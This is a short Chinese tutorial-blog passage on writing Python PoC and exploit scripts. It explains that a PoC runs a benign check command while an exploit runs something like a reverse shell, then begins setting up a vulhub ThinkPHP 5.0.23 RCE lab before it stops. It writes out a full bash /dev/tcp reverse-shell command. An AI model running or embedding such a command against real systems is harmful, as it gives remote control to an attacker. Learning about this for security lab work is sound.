本篇文章记录的是Python编写poc和exp的知识。一、poc和exp的区别poc漏洞验证exp漏洞利用他们两个的本质区别是使用的 payload 不同 , 比如我一个远程命令执行的漏洞 , 当我的payload是 id/whoami这样的命令时 , 那么我整个脚本或者工具 , 就是poc , 因为我只是让他执行一下简单的系统命令来判断目标是否存在这样的漏洞 , 如果我的payload是一串 反弹shell的系统命令 如 /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1 , 那么我整个工具就是一个exp , 可能这个poc和exp其他的代码都一模一样 , 只有要执行的命令 , 也就是这个命令 , 即 payload 不同 , 决定了这个脚本是poc还是exp二、编写thinkphp5 rce的poc环境自己使用vulhub搭建cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d使用 argparse 模块接收用户参数 , 加上banner信息im
编程语言学习·网安·生命在于学习
· 2021-12-01
· 116 人浏览
易水哲